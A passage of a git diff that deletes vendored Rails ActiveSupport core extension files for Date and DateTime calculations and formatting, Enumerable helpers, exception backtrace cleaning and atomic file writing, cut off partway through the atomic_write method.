-require 'active_support/core_ext/date/behavior'
-require 'active_support/core_ext/date/calculations'
-require 'active_support/core_ext/date/conversions'
-
-class Date#:nodoc:
-  include ActiveSupport::CoreExtensions::Date::Behavior
-  include ActiveSupport::CoreExtensions::Date::Calculations
-  include ActiveSupport::CoreExtensions::Date::Conversions
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/date/behavior.rb b/vendor/rails/activesupport/lib/active_support/core_ext/date/behavior.rb
deleted file mode 100644
index bd378eb3..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/date/behavior.rb
+++ /dev/null
@@ -1,42 +0,0 @@
-require 'date'
-
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Date #:nodoc:
-      module Behavior
-        # Enable more predictable duck-typing on Date-like classes. See
-        # Object#acts_like?.
-        def acts_like_date?
-          true
-        end
-
-        # Date memoizes some instance methods using metaprogramming to wrap
-        # the methods with one that caches the result in an instance variable.
-        #
-        # If a Date is frozen but the memoized method hasn't been called, the
-        # first call will result in a frozen object error since the memo
-        # instance variable is uninitialized.
-        #
-        # Work around by eagerly memoizing before freezing.
-        #
-        # Ruby 1.9 uses a preinitialized instance variable so it's unaffected.
-        # This hack is as close as we can get to feature detection:
-        begin
-          ::Date.today.freeze.jd
-        rescue => frozen_object_error
-          if frozen_object_error.message =~ /frozen/
-            def freeze #:nodoc:
-              self.class.private_instance_methods(false).each do |m|
-                if m.to_s =~ /\A__\d+__\Z/
-                  instance_variable_set(:"@#{m}", [send(m)])
-                end
-              end
-
-              super
-            end
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/date/calculations.rb b/vendor/rails/activesupport/lib/active_support/core_ext/date/calculations.rb
deleted file mode 100644
index 4c141b67..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/date/calculations.rb
+++ /dev/null
@@ -1,241 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Date #:nodoc:
-      # Enables the use of time calculations within Date itself
-      module Calculations
-        def self.included(base) #:nodoc:
-          base.extend ClassMethods
-
-          base.instance_eval do
-            alias_method :plus_without_duration, :+
-            alias_method :+, :plus_with_duration
-
-            alias_method :minus_without_duration, :-
-            alias_method :-, :minus_with_duration
-          end
-        end
-
-        module ClassMethods
-          # Returns a new Date representing the date 1 day ago (i.e. yesterday's date).
-          def yesterday
-            ::Date.today.yesterday
-          end
-
-          # Returns a new Date representing the date 1 day after today (i.e. tomorrow's date).
-          def tomorrow
-            ::Date.today.tomorrow
-          end
-
-          # Returns Time.zone.today when config.time_zone is set, otherwise just returns Date.today.
-          def current
-            ::Time.zone_default ? ::Time.zone.today : ::Date.today
-          end
-        end
-
-        # Tells whether the Date object's date lies in the past
-        def past?
-          self < ::Date.current
-        end
-
-        # Tells whether the Date object's date is today
-        def today?
-          self.to_date == ::Date.current # we need the to_date because of DateTime
-        end
-
-        # Tells whether the Date object's date lies in the future
-        def future?
-          self > ::Date.current
-        end
-
-        # Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
-        # and then subtracts the specified number of seconds
-        def ago(seconds)
-          to_time.since(-seconds)
-        end
-
-        # Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
-        # and then adds the specified number of seconds
-        def since(seconds)
-          to_time.since(seconds)
-        end
-        alias :in :since
-
-        # Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00)
-        def beginning_of_day
-          to_time
-        end
-        alias :midnight :beginning_of_day
-        alias :at_midnight :beginning_of_day
-        alias :at_beginning_of_day :beginning_of_day
-
-        # Converts Date to a Time (or DateTime if necessary) with the time portion set to the end of the day (23:59:59)
-        def end_of_day
-          to_time.end_of_day
-        end
-
-        def plus_with_duration(other) #:nodoc:
-          if ActiveSupport::Duration === other
-            other.since(self)
-          else
-            plus_without_duration(other)
-          end
-        end
-
-        def minus_with_duration(other) #:nodoc:
-          if ActiveSupport::Duration === other
-            plus_with_duration(-other)
-          else
-            minus_without_duration(other)
-          end
-        end
-
-        # Provides precise Date calculations for years, months, and days.  The +options+ parameter takes a hash with
-        # any of these keys: <tt>:years</tt>, <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>.
-        def advance(options)
-          options = options.dup
-          d = self
-          d = d >> options.delete(:years) * 12 if options[:years]
-          d = d >> options.delete(:months)     if options[:months]
-          d = d +  options.delete(:weeks) * 7  if options[:weeks]
-          d = d +  options.delete(:days)       if options[:days]
-          d
-        end
-
-        # Returns a new Date where one or more of the elements have been changed according to the +options+ parameter.
-        #
-        # Examples:
-        #
-        #   Date.new(2007, 5, 12).change(:day => 1)                  # => Date.new(2007, 5, 1)
-        #   Date.new(2007, 5, 12).change(:year => 2005, :month => 1) # => Date.new(2005, 1, 12)
-        def change(options)
-          ::Date.new(
-            options[:year]  || self.year,
-            options[:month] || self.month,
-            options[:day]   || self.day
-          )
-        end
-
-        # Returns a new Date/DateTime representing the time a number of specified months ago
-        def months_ago(months)
-          advance(:months => -months)
-        end
-
-        # Returns a new Date/DateTime representing the time a number of specified months in the future
-        def months_since(months)
-          advance(:months => months)
-        end
-
-        # Returns a new Date/DateTime representing the time a number of specified years ago
-        def years_ago(years)
-          advance(:years => -years)
-        end
-
-        # Returns a new Date/DateTime representing the time a number of specified years in the future
-        def years_since(years)
-          advance(:years => years)
-        end
-
-        def last_year # :nodoc:
-          ActiveSupport::Deprecation.warn("Date#last_year is deprecated and has been removed in Rails 3, please use Date#prev_year instead", caller)
-          prev_year
-        end
-
-        # Short-hand for years_ago(1)
-        def prev_year
-          years_ago(1)
-        end unless method_defined?(:prev_year)
-
-        # Short-hand for years_since(1)
-        def next_year
-          years_since(1)
-        end
-
-        def last_month # :nodoc:
-          ActiveSupport::Deprecation.warn("Date#last_month is deprecated and has been removed in Rails 3, please use Date#prev_month instead", caller)
-          prev_month
-        end
-
-        # Short-hand for months_ago(1)
-        def prev_month
-          months_ago(1)
-        end unless method_defined?(:prev_month)
-
-        # Short-hand for months_since(1)
-        def next_month
-          months_since(1)
-        end
-
-        # Returns a new Date/DateTime representing the "start" of this week (i.e, Monday; DateTime objects will have time set to 0:00)
-        def beginning_of_week
-          days_to_monday = self.wday!=0 ? self.wday-1 : 6
-          result = self - days_to_monday
-          self.acts_like?(:time) ? result.midnight : result
-        end
-        alias :monday :beginning_of_week
-        alias :at_beginning_of_week :beginning_of_week
-
-        # Returns a new Date/DateTime representing the end of this week (Sunday, DateTime objects will have time set to 23:59:59)
-        def end_of_week
-          days_to_sunday = self.wday!=0 ? 7-self.wday : 0
-          result = self + days_to_sunday.days
-          self.acts_like?(:time) ? result.end_of_day : result
-        end
-        alias :at_end_of_week :end_of_week
-
-        # Returns a new Date/DateTime representing the start of the given day in next week (default is Monday).
-        def next_week(day = :monday)
-          days_into_week = { :monday => 0, :tuesday => 1, :wednesday => 2, :thursday => 3, :friday => 4, :saturday => 5, :sunday => 6}
-          result = (self + 7).beginning_of_week + days_into_week[day]
-          self.acts_like?(:time) ? result.change(:hour => 0) : result
-        end
-
-        # Returns a new ; DateTime objects will have time set to 0:00DateTime representing the start of the month (1st of the month; DateTime objects will have time set to 0:00)
-        def beginning_of_month
-          self.acts_like?(:time) ? change(:day => 1,:hour => 0, :min => 0, :sec => 0) : change(:day => 1)
-        end
-        alias :at_beginning_of_month :beginning_of_month
-
-        # Returns a new Date/DateTime representing the end of the month (last day of the month; DateTime objects will have time set to 0:00)
-        def end_of_month
-          last_day = ::Time.days_in_month( self.month, self.year )
-          self.acts_like?(:time) ? change(:day => last_day, :hour => 23, :min => 59, :sec => 59) : change(:day => last_day)
-        end
-        alias :at_end_of_month :end_of_month
-
-        # Returns a new Date/DateTime representing the start of the quarter (1st of january, april, july, october; DateTime objects will have time set to 0:00)
-        def beginning_of_quarter
-          beginning_of_month.change(:month => [10, 7, 4, 1].detect { |m| m <= self.month })
-        end
-        alias :at_beginning_of_quarter :beginning_of_quarter
-
-        # Returns a new Date/DateTime representing the end of the quarter (last day of march, june, september, december; DateTime objects will have time set to 23:59:59)
-        def end_of_quarter
-          beginning_of_month.change(:month => [3, 6, 9, 12].detect { |m| m >= self.month }).end_of_month
-        end
-        alias :at_end_of_quarter :end_of_quarter
-
-        # Returns a new Date/DateTime representing the start of the year (1st of january; DateTime objects will have time set to 0:00)
-        def beginning_of_year
-          self.acts_like?(:time) ? change(:month => 1, :day => 1, :hour => 0, :min => 0, :sec => 0) : change(:month => 1, :day => 1)
-        end
-        alias :at_beginning_of_year :beginning_of_year
-
-        # Returns a new Time representing the end of the year (31st of december; DateTime objects will have time set to 23:59:59)
-        def end_of_year
-          self.acts_like?(:time) ? change(:month => 12,:day => 31,:hour => 23, :min => 59, :sec => 59) : change(:month => 12, :day => 31)
-        end
-        alias :at_end_of_year :end_of_year
-
-        # Convenience method which returns a new Date/DateTime representing the time 1 day ago
-        def yesterday
-          self - 1
-        end
-
-        # Convenience method which returns a new Date/DateTime representing the time 1 day since the instance time
-        def tomorrow
-          self + 1
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/date/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/date/conversions.rb
deleted file mode 100644
index 8d9f0233..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/date/conversions.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module Date #:nodoc:
-      # Converting dates to formatted strings, times, and datetimes.
-      module Conversions
-        DATE_FORMATS = {
-          :short        => "%e %b",
-          :long         => "%B %e, %Y",
-          :db           => "%Y-%m-%d",
-          :number       => "%Y%m%d",
-          :long_ordinal => lambda { |date| date.strftime("%B #{date.day.ordinalize}, %Y") }, # => "April 25th, 2007"
-          :rfc822       => "%e %b %Y"
-        }
-
-        def self.included(base) #:nodoc:
-          base.instance_eval do
-            alias_method :to_default_s, :to_s
-            alias_method :to_s, :to_formatted_s
-            alias_method :default_inspect, :inspect
-            alias_method :inspect, :readable_inspect
-
-            # Ruby 1.9 has Date#to_time which converts to localtime only.
-            remove_method :to_time if base.instance_methods.include?(:to_time)
-
-            # Ruby 1.9 has Date#xmlschema which converts to a string without the time component.
-            remove_method :xmlschema if base.instance_methods.include?(:xmlschema)
-          end
-        end
-
-        # Convert to a formatted string. See DATE_FORMATS for predefined formats.
-        #
-        # This method is aliased to <tt>to_s</tt>.
-        #
-        # ==== Examples
-        #   date = Date.new(2007, 11, 10)       # => Sat, 10 Nov 2007
-        #
-        #   date.to_formatted_s(:db)            # => "2007-11-10"
-        #   date.to_s(:db)                      # => "2007-11-10"
-        #
-        #   date.to_formatted_s(:short)         # => "10 Nov"
-        #   date.to_formatted_s(:long)          # => "November 10, 2007"
-        #   date.to_formatted_s(:long_ordinal)  # => "November 10th, 2007"
-        #   date.to_formatted_s(:rfc822)        # => "10 Nov 2007"
-        #
-        # == Adding your own time formats to to_formatted_s
-        # You can add your own formats to the Date::DATE_FORMATS hash.
-        # Use the format name as the hash key and either a strftime string
-        # or Proc instance that takes a date argument as the value.
-        #
-        #   # config/initializers/time_formats.rb
-        #   Date::DATE_FORMATS[:month_and_year] = "%B %Y"
-        #   Date::DATE_FORMATS[:short_ordinal] = lambda { |date| date.strftime("%B #{date.day.ordinalize}") }
-        def to_formatted_s(format = :default)
-          if formatter = DATE_FORMATS[format]
-            if formatter.respond_to?(:call)
-              formatter.call(self).to_s
-            else
-              strftime(formatter)
-            end
-          else
-            to_default_s
-          end
-        end
-
-        # Overrides the default inspect method with a human readable one, e.g., "Mon, 21 Feb 2005"
-        def readable_inspect
-          strftime("%a, %d %b %Y")
-        end
-
-        # A method to keep Time, Date and DateTime instances interchangeable on conversions.
-        # In this case, it simply returns +self+.
-        def to_date
-          self
-        end if RUBY_VERSION < '1.9'
-
-        # Converts a Date instance to a Time, where the time is set to the beginning of the day.
-        # The timezone can be either :local or :utc (default :local).
-        #
-        # ==== Examples
-        #   date = Date.new(2007, 11, 10)  # => Sat, 10 Nov 2007
-        #
-        #   date.to_time                   # => Sat Nov 10 00:00:00 0800 2007
-        #   date.to_time(:local)           # => Sat Nov 10 00:00:00 0800 2007
-        #
-        #   date.to_time(:utc)             # => Sat Nov 10 00:00:00 UTC 2007
-        def to_time(form = :local)
-          ::Time.send("#{form}_time", year, month, day)
-        end
-
-        # Converts a Date instance to a DateTime, where the time is set to the beginning of the day
-        # and UTC offset is set to 0.
-        #
-        # ==== Examples
-        #   date = Date.new(2007, 11, 10)  # => Sat, 10 Nov 2007
-        #
-        #   date.to_datetime               # => Sat, 10 Nov 2007 00:00:00 0000
-        def to_datetime
-          ::DateTime.civil(year, month, day, 0, 0, 0, 0)
-        end if RUBY_VERSION < '1.9'
-
-        def xmlschema
-          to_time.xmlschema
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/date_time.rb b/vendor/rails/activesupport/lib/active_support/core_ext/date_time.rb
deleted file mode 100644
index 66a93eac..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/date_time.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require 'date'
-require 'active_support/core_ext/time/behavior'
-require 'active_support/core_ext/time/zones'
-require 'active_support/core_ext/date_time/calculations'
-require 'active_support/core_ext/date_time/conversions'
-
-class DateTime
-  include ActiveSupport::CoreExtensions::Time::Behavior
-  include ActiveSupport::CoreExtensions::Time::Zones
-  include ActiveSupport::CoreExtensions::DateTime::Calculations
-  include ActiveSupport::CoreExtensions::DateTime::Conversions
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/date_time/calculations.rb b/vendor/rails/activesupport/lib/active_support/core_ext/date_time/calculations.rb
deleted file mode 100644
index 0099431e..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/date_time/calculations.rb
+++ /dev/null
@@ -1,126 +0,0 @@
-require 'rational'
-
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module DateTime #:nodoc:
-      # Enables the use of time calculations within DateTime itself
-      module Calculations
-        def self.included(base) #:nodoc:
-          base.extend ClassMethods
-
-          base.class_eval do
-            alias_method :compare_without_coercion, :<=>
-            alias_method :<=>, :compare_with_coercion
-          end
-        end
-
-        module ClassMethods
-          # DateTimes aren't aware of DST rules, so use a consistent non-DST offset when creating a DateTime with an offset in the local zone
-          def local_offset
-            ::Time.local(2007).utc_offset.to_r / 86400
-          end
-
-          def current
-            ::Time.zone_default ? ::Time.zone.now.to_datetime : ::Time.now.to_datetime
-          end
-        end
-
-        # Tells whether the DateTime object's datetime lies in the past
-        def past?
-          self < ::DateTime.current
-        end
-
-        # Tells whether the DateTime object's datetime lies in the future
-        def future?
-          self > ::DateTime.current
-        end
-
-        # Seconds since midnight: DateTime.now.seconds_since_midnight
-        def seconds_since_midnight
-          self.sec + (self.min * 60) + (self.hour * 3600)
-        end
-
-        # Returns a new DateTime where one or more of the elements have been changed according to the +options+ parameter. The time options
-        # (hour, minute, sec) reset cascadingly, so if only the hour is passed, then minute and sec is set to 0. If the hour and
-        # minute is passed, then sec is set to 0.
-        def change(options)
-          ::DateTime.civil(
-            options[:year]  || self.year,
-            options[:month] || self.month,
-            options[:day]   || self.day,
-            options[:hour]  || self.hour,
-            options[:min]   || (options[:hour] ? 0 : self.min),
-            options[:sec]   || ((options[:hour] || options[:min]) ? 0 : self.sec),
-            options[:offset]  || self.offset,
-            options[:start]  || self.start
-          )
-        end
-
-        # Uses Date to provide precise Time calculations for years, months, and days.
-        # The +options+ parameter takes a hash with any of these keys: <tt>:years</tt>,
-        # <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
-        # <tt>:minutes</tt>, <tt>:seconds</tt>.
-        def advance(options)
-          d = to_date.advance(options)
-          datetime_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
-          seconds_to_advance = (options[:seconds] || 0) + (options[:minutes] || 0) * 60 + (options[:hours] || 0) * 3600
-          seconds_to_advance == 0 ? datetime_advanced_by_date : datetime_advanced_by_date.since(seconds_to_advance)
-        end
-
-        # Returns a new DateTime representing the time a number of seconds ago
-        # Do not use this method in combination with x.months, use months_ago instead!
-        def ago(seconds)
-          self.since(-seconds)
-        end
-
-        # Returns a new DateTime representing the time a number of seconds since the instance time
-        # Do not use this method in combination with x.months, use months_since instead!
-        def since(seconds)
-          self + Rational(seconds.round, 86400)
-        end
-        alias :in :since
-
-        # Returns a new DateTime representing the start of the day (0:00)
-        def beginning_of_day
-          change(:hour => 0)
-        end
-        alias :midnight :beginning_of_day
-        alias :at_midnight :beginning_of_day
-        alias :at_beginning_of_day :beginning_of_day
-
-        # Returns a new DateTime representing the end of the day (23:59:59)
-        def end_of_day
-          change(:hour => 23, :min => 59, :sec => 59)
-        end
-
-        # Adjusts DateTime to UTC by adding its offset value; offset is set to 0
-        #
-        # Example:
-        #
-        #   DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24))       # => Mon, 21 Feb 2005 10:11:12 -0600
-        #   DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc   # => Mon, 21 Feb 2005 16:11:12 +0000
-        def utc
-          new_offset(0)
-        end
-        alias_method :getutc, :utc
-
-        # Returns true if offset == 0
-        def utc?
-          offset == 0
-        end
-
-        # Returns the offset value in seconds
-        def utc_offset
-          (offset * 86400).to_i
-        end
-
-        # Layers additional behavior on DateTime#<=> so that Time and ActiveSupport::TimeWithZone instances can be compared with a DateTime
-        def compare_with_coercion(other)
-          other = other.comparable_time if other.respond_to?(:comparable_time)
-          other = other.to_datetime unless other.acts_like?(:date)
-          compare_without_coercion(other)
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/date_time/conversions.rb b/vendor/rails/activesupport/lib/active_support/core_ext/date_time/conversions.rb
deleted file mode 100644
index a2d620bc..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/date_time/conversions.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module DateTime #:nodoc:
-      # Converting datetimes to formatted strings, dates, and times.
-      module Conversions
-        def self.append_features(base) #:nodoc:
-          base.class_eval do
-            alias_method :default_inspect, :inspect
-            alias_method :to_default_s, :to_s unless (instance_methods(false) & [:to_s, 'to_s']).empty?
-
-            # Ruby 1.9 has DateTime#to_time which internally relies on Time. We define our own #to_time which allows
-            # DateTimes outside the range of what can be created with Time.
-            remove_method :to_time if instance_methods.include?(:to_time)
-          end
-
-          super
-
-          base.class_eval do
-            alias_method :to_s, :to_formatted_s
-            alias_method :inspect, :readable_inspect
-          end
-        end
-
-        # Convert to a formatted string. See Time::DATE_FORMATS for predefined formats.
-        # 
-        # This method is aliased to <tt>to_s</tt>.
-        # 
-        # === Examples
-        #   datetime = DateTime.civil(2007, 12, 4, 0, 0, 0, 0)   # => Tue, 04 Dec 2007 00:00:00 +0000
-        # 
-        #   datetime.to_formatted_s(:db)            # => "2007-12-04 00:00:00"
-        #   datetime.to_s(:db)                      # => "2007-12-04 00:00:00"
-        #   datetime.to_s(:number)                  # => "20071204000000"
-        #   datetime.to_formatted_s(:short)         # => "04 Dec 00:00"
-        #   datetime.to_formatted_s(:long)          # => "December 04, 2007 00:00"
-        #   datetime.to_formatted_s(:long_ordinal)  # => "December 4th, 2007 00:00"
-        #   datetime.to_formatted_s(:rfc822)        # => "Tue, 04 Dec 2007 00:00:00 +0000"
-        #
-        # == Adding your own datetime formats to to_formatted_s
-        # DateTime formats are shared with Time. You can add your own to the
-        # Time::DATE_FORMATS hash. Use the format name as the hash key and
-        # either a strftime string or Proc instance that takes a time or
-        # datetime argument as the value.
-        #
-        #   # config/initializers/time_formats.rb
-        #   Time::DATE_FORMATS[:month_and_year] = "%B %Y"
-        #   Time::DATE_FORMATS[:short_ordinal] = lambda { |time| time.strftime("%B #{time.day.ordinalize}") }
-        def to_formatted_s(format = :default)
-          return to_default_s unless formatter = ::Time::DATE_FORMATS[format]
-          formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
-        end
-
-        # Returns the +utc_offset+ as an +HH:MM formatted string. Examples:
-        #
-        #   datetime = DateTime.civil(2000, 1, 1, 0, 0, 0, Rational(-6, 24))
-        #   datetime.formatted_offset         # => "-06:00"
-        #   datetime.formatted_offset(false)  # => "-0600"
-        def formatted_offset(colon = true, alternate_utc_string = nil)
-          utc? && alternate_utc_string || utc_offset.to_utc_offset_s(colon)
-        end
-        
-        # Overrides the default inspect method with a human readable one, e.g., "Mon, 21 Feb 2005 14:30:00 +0000"
-        def readable_inspect
-          to_s(:rfc822)
-        end
-
-        # Converts self to a Ruby Date object; time portion is discarded
-        def to_date
-          ::Date.new(year, month, day)
-        end
-
-        # Attempts to convert self to a Ruby Time object; returns self if out of range of Ruby Time class
-        # If self has an offset other than 0, self will just be returned unaltered, since there's no clean way to map it to a Time
-        def to_time
-          self.offset == 0 ? ::Time.utc_time(year, month, day, hour, min, sec) : self
-        end
-
-        # To be able to keep Times, Dates and DateTimes interchangeable on conversions
-        def to_datetime
-          self
-        end
-
-        # Converts datetime to an appropriate format for use in XML
-        def xmlschema
-          strftime("%Y-%m-%dT%H:%M:%S%Z")
-        end if RUBY_VERSION < '1.9'
-
-        # Converts self to a floating-point number of seconds since the Unix epoch 
-        def to_f
-          seconds_since_unix_epoch.to_f
-        end
-
-        # Converts self to an integer number of seconds since the Unix epoch
-        def to_i
-          seconds_since_unix_epoch.to_i
-        end
-
-        private
-
-        def seconds_since_unix_epoch
-          seconds_per_day = 86_400
-          (self - ::DateTime.civil(1970)) * seconds_per_day
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/duplicable.rb b/vendor/rails/activesupport/lib/active_support/core_ext/duplicable.rb
deleted file mode 100644
index 8f49ddfd..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/duplicable.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-class Object
-  # Can you safely .dup this object?
-  # False for nil, false, true, symbols, and numbers; true otherwise.
-  def duplicable?
-    true
-  end
-end
-
-class NilClass #:nodoc:
-  def duplicable?
-    false
-  end
-end
-
-class FalseClass #:nodoc:
-  def duplicable?
-    false
-  end
-end
-
-class TrueClass #:nodoc:
-  def duplicable?
-    false
-  end
-end
-
-class Symbol #:nodoc:
-  def duplicable?
-    false
-  end
-end
-
-class Numeric #:nodoc:
-  def duplicable?
-    false
-  end
-end
-
-class Class #:nodoc:
-  def duplicable?
-    false
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/enumerable.rb b/vendor/rails/activesupport/lib/active_support/core_ext/enumerable.rb
deleted file mode 100644
index 9ae89354..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/enumerable.rb
+++ /dev/null
@@ -1,120 +0,0 @@
-require 'active_support/ordered_hash'
-
-module Enumerable
-  # Ruby 1.8.7 introduces group_by, but the result isn't ordered. Override it.
-  remove_method(:group_by) if [].respond_to?(:group_by) && RUBY_VERSION < '1.9'
-
-  # Collect an enumerable into sets, grouped by the result of a block. Useful,
-  # for example, for grouping records by date.
-  #
-  # Example:
-  #
-  #   latest_transcripts.group_by(&:day).each do |day, transcripts| 
-  #     p "#{day} -> #{transcripts.map(&:class).join(', ')}"
-  #   end
-  #   "2006-03-01 -> Transcript"
-  #   "2006-02-28 -> Transcript"
-  #   "2006-02-27 -> Transcript, Transcript"
-  #   "2006-02-26 -> Transcript, Transcript"
-  #   "2006-02-25 -> Transcript"
-  #   "2006-02-24 -> Transcript, Transcript"
-  #   "2006-02-23 -> Transcript"
-  def group_by
-    assoc = ActiveSupport::OrderedHash.new
-
-    each do |element|
-      key = yield(element)
-
-      if assoc.has_key?(key)
-        assoc[key] << element
-      else
-        assoc[key] = [element]
-      end
-    end
-
-    assoc
-  end unless [].respond_to?(:group_by)
-
-  # Calculates a sum from the elements. Examples:
-  #
-  #  payments.sum { |p| p.price * p.tax_rate }
-  #  payments.sum(&:price)
-  #
-  # The latter is a shortcut for:
-  #
-  #  payments.inject { |sum, p| sum + p.price }
-  #
-  # It can also calculate the sum without the use of a block.
-  #
-  #  [5, 15, 10].sum # => 30
-  #  ["foo", "bar"].sum # => "foobar"
-  #  [[1, 2], [3, 1, 5]].sum => [1, 2, 3, 1, 5]
-  #
-  # The default sum of an empty list is zero. You can override this default:
-  #
-  #  [].sum(Payment.new(0)) { |i| i.amount } # => Payment.new(0)
-  #
-  def sum(identity = 0, &block)
-    if block_given?
-      map(&block).sum(identity)
-    else
-      inject { |sum, element| sum + element } || identity
-    end
-  end
-
-  # Iterates over a collection, passing the current element *and* the
-  # +memo+ to the block. Handy for building up hashes or
-  # reducing collections down to one object. Examples:
-  #
-  #   %w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
-  #
-  # *Note* that you can't use immutable objects like numbers, true or false as
-  # the memo. You would think the following returns 120, but since the memo is
-  # never changed, it does not.
-  #
-  #   (1..5).each_with_object(1) { |value, memo| memo *= value } # => 1
-  #
-  def each_with_object(memo, &block)
-    memo.tap do |m|
-      each do |element|
-        block.call(element, m)
-      end
-    end
-  end unless [].respond_to?(:each_with_object)
-
-  # Convert an enumerable to a hash. Examples:
-  #
-  #   people.index_by(&:login)
-  #     => { "nextangle" => <Person ...>, "chade-" => <Person ...>, ...}
-  #   people.index_by { |person| "#{person.first_name} #{person.last_name}" }
-  #     => { "Chade- Fowlersburg-e" => <Person ...>, "David Heinemeier Hansson" => <Person ...>, ...}
-  # 
-  def index_by
-    inject({}) do |accum, elem|
-      accum[yield(elem)] = elem
-      accum
-    end
-  end
-  
-  # Returns true if the collection has more than 1 element. Functionally equivalent to collection.size > 1.
-  # Works with a block too ala any?, so people.many? { |p| p.age > 26 } # => returns true if more than 1 person is over 26.
-  def many?(&block)
-    size = block_given? ? select(&block).size : self.size
-    size > 1
-  end
-
-  # Returns true if none of the elements match the given block.
-  #
-  #   success = responses.none? {|r| r.status / 100 == 5 }
-  #
-  # This is a builtin method in Ruby 1.8.7 and later.
-  def none?(&block)
-    !any?(&block)
-  end unless [].respond_to?(:none?)
-
-  
-  # The negative of the Enumerable#include?. Returns true if the collection does not include the object.
-  def exclude?(object)
-    !include?(object)
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/exception.rb b/vendor/rails/activesupport/lib/active_support/core_ext/exception.rb
deleted file mode 100644
index cde0df41..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/exception.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-module ActiveSupport
-  if RUBY_VERSION >= '1.9'
-    FrozenObjectError = RuntimeError
-  else
-    FrozenObjectError = TypeError
-  end
-end
-
-# TODO: Turn all this into using the BacktraceCleaner.
-class Exception # :nodoc:
-  def clean_message
-    Pathname.clean_within message
-  end
-
-  TraceSubstitutions = []
-  FrameworkStart = /action_controller\/dispatcher\.rb/.freeze
-  FrameworkRegexp = /generated|vendor|dispatch|ruby|script\/\w+/.freeze
-
-  def clean_backtrace
-    backtrace.collect do |line|
-      Pathname.clean_within(TraceSubstitutions.inject(line) do |result, (regexp, sub)|
-        result.gsub regexp, sub
-      end)
-    end
-  end
-
-  def application_backtrace
-    before_framework_frame = nil
-    before_application_frame = true
-
-    trace = clean_backtrace.reject do |line|
-      before_framework_frame ||= (line =~ FrameworkStart)
-      non_app_frame = (line =~ FrameworkRegexp)
-      before_application_frame = false unless non_app_frame
-      before_framework_frame || (non_app_frame && !before_application_frame)
-    end
-
-    # If we didn't find any application frames, return an empty app trace.
-    before_application_frame ? [] : trace
-  end
-
-  def framework_backtrace
-    clean_backtrace.grep FrameworkRegexp
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/file.rb b/vendor/rails/activesupport/lib/active_support/core_ext/file.rb
deleted file mode 100644
index e03f8ac4..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/file.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-require 'active_support/core_ext/file/atomic'
-
-class File #:nodoc:
-  extend ActiveSupport::CoreExtensions::File::Atomic
-end
diff --git a/vendor/rails/activesupport/lib/active_support/core_ext/file/atomic.rb b/vendor/rails/activesupport/lib/active_support/core_ext/file/atomic.rb
deleted file mode 100644
index f49d5cb1..00000000
--- a/vendor/rails/activesupport/lib/active_support/core_ext/file/atomic.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-module ActiveSupport #:nodoc:
-  module CoreExtensions #:nodoc:
-    module File #:nodoc:
-      module Atomic
-        # Write to a file atomically.  Useful for situations where you don't
-        # want other processes or threads to see half-written files.
-        #
-        #   File.atomic_write("important.file") do |file|
-        #     file.write("hello")
-        #   end
-        #
-        # If your temp directory is not on the same filesystem as the file you're 
-        # trying to write, you can provide a different temporary directory.
-        # 
-        #   File.atomic_write("/data/something.important", "/data/tmp") do |f|
-        #     file.write("hello")
-        #   end
-        def atomic_write(file_name, temp_dir = Dir.tmpdir)
-          require 'tempfile' unless defined?(Tempfile)
-          require 'fileutils' unless defined?(FileUtils)
-
-          temp_file = Tempfile.new(basename(file_name), temp_dir)
-          yield temp_file
-          temp_file.close
-
-          begin
-            # Get original file permissions
-            old_stat = stat(file_name)
-          rescue Errno::ENOENT
-            # No old permissions, write a temp file to determine the defaults
-            check_name = join(dirname(file_name), ".permissions_check.#{Thread.current.object_id}.#{Process.pid}.#{rand(1000000)}")
-            open(check_name, "w") { }
-            old_stat = stat(check_name)
-            unlink(check_name)
-          end
-
-          # Overwrite original file with temp file
